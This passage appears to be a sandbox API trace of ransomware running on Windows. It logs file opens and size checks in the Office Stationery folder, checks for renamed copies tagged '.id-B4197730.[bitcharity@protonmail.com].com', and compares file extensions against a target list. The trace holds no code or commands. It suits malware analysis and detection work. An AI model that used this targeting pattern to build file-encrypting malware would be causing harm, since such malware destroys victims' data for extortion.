CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0143.896] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=6406) returned 1 [0143.896] CloseHandle (hObject=0x1038) returned 1 [0143.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg")) returned 0x20 [0143.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0143.897] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0143.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74 [0143.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74 [0143.897] lstrlenW (lpString=".doc") returned 4 [0143.897] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0143.897] lstrlenW (lpString=".docx") returned 5 [0143.897] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0143.897] lstrlenW (lpString=".pdf") returned 4 [0143.897] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0143.897] lstrlenW (lpString=".xls") returned 4 [0143.897] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0143.897] lstrlenW (lpString=".xlsx") returned 5 [0143.897] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0143.897] lstrlenW (lpString=".ppt") returned 4 [0143.897] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0143.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74 [0143.897] lstrlenW (lpString=".zip") returned 4 [0143.897] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0143.897] lstrlenW (lpString=".rar") returned 4 [0143.897] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0143.897] lstrlenW (lpString=".bz2") returned 4 [0143.897] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0143.897] lstrlenW (lpString=".7z") returned 3 [0143.897] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0143.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74 [0143.897] lstrlenW (lpString=".dbf") returned 4 [0143.897] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0143.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74 [0143.897] lstrlenW (lpString=".1cd") returned 4 [0143.897] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0143.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74 [0143.897] lstrlenW (lpString=".jpg") returned 4 [0143.897] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0143.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74 [0143.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74 [0143.898] lstrlenW (lpString=".doc") returned 4 [0143.898] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0143.898] lstrlenW (lpString=".docx") returned 5 [0143.898] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0143.898] lstrlenW (lpString=".pdf") returned 4 [0143.898] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0143.898] lstrlenW (lpString=".xls") returned 4 [0143.898] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0143.898] lstrlenW (lpString=".xlsx") returned 5 [0143.898] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0143.898] lstrlenW (lpString=".ppt") returned 4 [0143.898] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0143.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74 [0143.898] lstrlenW (lpString=".zip") returned 4 [0143.898] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0143.898] lstrlenW (lpString=".rar") returned 4 [0143.898] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0143.898] lstrlenW (lpString=".bz2") returned 4 [0143.898] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0143.898] lstrlenW (lpString=".7z") returned 3 [0143.898] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0143.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74 [0143.898] lstrlenW (lpString=".dbf") returned 4 [0143.898] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0143.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74 [0143.898] lstrlenW (lpString=".1cd") returned 4 [0143.898] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0143.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74 [0143.898] lstrlenW (lpString=".jpg") returned 4 [0143.898] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0143.899] lstrcmpiW (lpString1=".jpg", lpString2=".com") returned 1 [0143.899] lstrlenW (lpString="OrangeCircles.jpg") returned 17 [0143.899] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0144.128] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=6381) returned 1 [0144.128] CloseHandle (hObject=0x10b4) returned 1 [0144.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg")) returned 0x20 [0144.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0144.128] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0144.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75 [0144.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75 [0144.128] lstrlenW (lpString=".doc") returned 4 [0144.128] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0144.128] lstrlenW (lpString=".docx") returned 5 [0144.128] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0144.128] lstrlenW (lpString=".pdf") returned 4 [0144.128] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0144.128] lstrlenW (lpString=".xls") returned 4 [0144.128] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0144.128] lstrlenW (lpString=".xlsx") returned 5 [0144.128] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0144.128] lstrlenW (lpString=".ppt") returned 4 [0144.128] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0144.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75 [0144.129] lstrlenW (lpString=".zip") returned 4 [0144.129] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0144.129] lstrlenW (lpString=".rar") returned 4 [0144.129] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0144.129] lstrlenW (lpString=".bz2") returned 4 [0144.129] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0144.129] lstrlenW (lpString=".7z") returned 3 [0144.129] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0144.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75 [0144.129] lstrlenW (lpString=".dbf") returned 4 [0144.129] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0144.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75 [0144.129] lstrlenW (lpString=".1cd") returned 4 [0144.129] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0144.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75 [0144.129] lstrlenW (lpString=".jpg") returned 4 [0144.129] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0144.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75 [0144.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75 [0144.129] lstrlenW (lpString=".doc") returned 4 [0144.129] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0144.129] lstrlenW (lpString=".docx") returned 5 [0144.129] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0144.129] lstrlenW (lpString=".pdf") returned 4 [0144.129] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0144.129] lstrlenW (lpString=".xls") returned 4 [0144.129] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0144.129] lstrlenW (lpString=".xlsx") returned 5 [0144.129] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0144.129] lstrlenW (lpString=".ppt") returned 4 [0144.129] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0144.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75 [0144.129] lstrlenW (lpString=".zip") returned 4 [0144.129] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0144.129] lstrlenW (lpString=".rar") returned 4 [0144.130] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0144.130] lstrlenW (lpString=".bz2") returned 4 [0144.130] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0144.130] lstrlenW (lpString=".7z") returned 3 [0144.130] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0144.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75 [0144.130] lstrlenW (lpString=".dbf") returned 4 [0144.130] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0144.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75 [0144.130] lstrlenW (lpString=".1cd") returned 4 [0144.130] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0144.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75 [0144.130] lstrlenW (lpString=".jpg") returned 4 [0144.130] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0144.130] lstrcmpiW (lpString1=".jpg", lpString2=".com") returned 1 [0144.130] lstrlenW (lpString="Roses.jpg") returned 9 [0144.130] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0144.296] GetFileSizeEx (in: hFile=0x103c, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=1920) returned 1 [0144.296] CloseHandle (hObject=0x103c) returned 1 [0144.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg")) returned 0x20 [0144.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0144.296] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0144.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 67 [0144.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 67 [0144.296] lstrlenW (lpString=".doc") returned 4 [0144.296] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0144.297] lstrlenW (lpString=".docx") returned 5 [0144.297] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0144.297] lstrlenW (lpString=".pdf") returned 4 [0144.297] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0144.297] lstrlenW (lpString=".xls") returned 4 [0144.297] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0144.297] lstrlenW (lpString=".xlsx") returned 5 [0144.297] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0144.297] lstrlenW (lpString=".ppt") returned 4 [0144.297] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0144.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 67 [0144.297] lstrlenW (lpString=".zip") returned 4 [0144.297] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0144.297] lstrlenW (lpString=".rar") returned 4 [0144.297] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0144.297] lstrlenW (lpString=".bz2") returned 4 [0144.297] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0144.297] lstrlenW (lpString=".7z") returned 3 [0144.297] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0144.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 67 [0144.297] lstrlenW (lpString=".dbf") returned 4 [0144.297] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0144.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 67 [0144.297] lstrlenW (lpString=".1cd") returned 4 [0144.297] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0144.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 67 [0144.297] lstrlenW (lpString=".jpg") returned 4 [0144.297] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0144.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 67 [0144.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 67 [0144.298] lstrlenW (lpString=".doc") returned 4 [0144.298] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0144.298] lstrlenW (lpString=".docx") returned 5 [0144.298] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0144.298] lstrlenW (lpString=".pdf") returned 4 [0144.298] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0144.298] lstrlenW (lpString=".xls") returned 4 [0144.298] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0144.298] lstrlenW (lpString=".xlsx") returned 5 [0144.298] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0144.298] lstrlenW (lpString=".ppt") returned 4 [0144.298] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0144.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 67 [0144.298] lstrlenW (lpString=".zip") returned 4 [0144.298] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0144.298] lstrlenW (lpString=".rar") returned 4 [0144.298] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0144.298] lstrlenW (lpString=".bz2") returned 4 [0144.298] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0144.298] lstrlenW (lpString=".7z") returned 3 [0144.298] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0144.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 67 [0144.298] lstrlenW (lpString=".dbf") returned 4 [0144.298] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0144.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 67 [0144.299] lstrlenW (lpString=".1cd") returned 4 [0144.299] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0144.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 67 [0144.299] lstrlenW (lpString=".jpg") returned 4 [0144.299] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0144.299] lstrcmpiW (lpString1=".jpg", lpString2=".com") returned 1 [0144.299] lstrlenW (lpString="ShadesOfBlue.jpg") returned 16 [0144.299] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0144.424] GetFileSizeEx (in: hFile=0x1084, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=4734) returned 1 [0144.424] CloseHandle (hObject=0x1084) returned 1 [0144.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg")) returned 0x20 [0144.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0144.425] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0144.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0144.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0144.425] lstrlenW (lpString=".doc") returned 4 [0144.425] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0144.425] lstrlenW (lpString=".docx") returned 5 [0144.425] lstrcmpiW (lpString1=".docx", lpString2="e.jpg") returned -1 [0144.425] lstrlenW (lpString=".pdf") returned 4 [0144.425] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0144.425] lstrlenW (lpString=".xls") returned 4 [0144.425] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0144.425] lstrlenW (lpString=".xlsx") returned 5 [0144.425] lstrcmpiW (lpString1=".xlsx", lpString2="e.jpg") returned -1 [0144.425] lstrlenW (lpString=".ppt") returned 4 [0144.425] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0144.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0144.425] lstrlenW (lpString=".zip") returned 4 [0144.425] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0144.425] lstrlenW (lpString=".rar") returned 4 [0144.425] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0144.425] lstrlenW (lpString=".bz2") returned 4 [0144.425] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0144.425] lstrlenW (lpString=".7z") returned 3 [0144.425] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0144.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0144.426] lstrlenW (lpString=".dbf") returned 4 [0144.426] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0144.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0144.426] lstrlenW (lpString=".1cd") returned 4 [0144.426] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0144.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0144.426] lstrlenW (lpString=".jpg") returned 4 [0144.426] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0144.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0144.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0144.426] lstrlenW (lpString=".doc") returned 4 [0144.426] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0144.426] lstrlenW (lpString=".docx") returned 5 [0144.426] lstrcmpiW (lpString1=".docx", lpString2="e.jpg") returned -1 [0144.426] lstrlenW (lpString=".pdf") returned 4 [0144.426] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0144.426] lstrlenW (lpString=".xls") returned 4 [0144.426] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0144.426] lstrlenW (lpString=".xlsx") returned 5 [0144.426] lstrcmpiW (lpString1=".xlsx", lpString2="e.jpg") returned -1 [0144.426] lstrlenW (lpString=".ppt") returned 4 [0144.426] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0144.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0144.426] lstrlenW (lpString=".zip") returned 4 [0144.427] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0144.427] lstrlenW (lpString=".rar") returned 4 [0144.427] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0144.427] lstrlenW (lpString=".bz2") returned 4 [0144.427] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0144.427] lstrlenW (lpString=".7z") returned 3 [0144.427] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0144.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0144.427] lstrlenW (lpString=".dbf") returned 4 [0144.427] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0144.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0144.427] lstrlenW (lpString=".1cd") returned 4 [0144.427] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0144.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0144.427] lstrlenW (lpString=".jpg") returned 4 [0144.427] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0144.427] lstrcmpiW (lpString1=".htm", lpString2=".com") returned 1 [0144.427] lstrlenW (lpString="Stars.htm") returned 9 [0144.427] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0144.605] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=230) returned 1 [0144.605] CloseHandle (hObject=0x10b4) returned 1 [0144.608] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm")) returned 0x20 [0144.608] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0144.612] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0144.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67 [0144.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67 [0144.612] lstrlenW (lpString=".doc") returned 4 [0144.612] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0144.612] lstrlenW (lpString=".docx") returned 5 [0144.612] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0144.612] lstrlenW (lpString=".pdf") returned 4 [0144.612] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0144.612] lstrlenW (lpString=".xls") returned 4 [0144.612] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0144.612] lstrlenW (lpString=".xlsx") returned 5 [0144.612] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0144.612] lstrlenW (lpString=".ppt") returned 4 [0144.612] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0144.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67 [0144.612] lstrlenW (lpString=".zip") returned 4 [0144.612] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0144.612] lstrlenW (lpString=".rar") returned 4 [0144.613] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0144.613] lstrlenW (lpString=".bz2") returned 4 [0144.613] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0144.613] lstrlenW (lpString=".7z") returned 3 [0144.613] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0144.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67 [0144.613] lstrlenW (lpString=".dbf") returned 4 [0144.613] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0144.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67 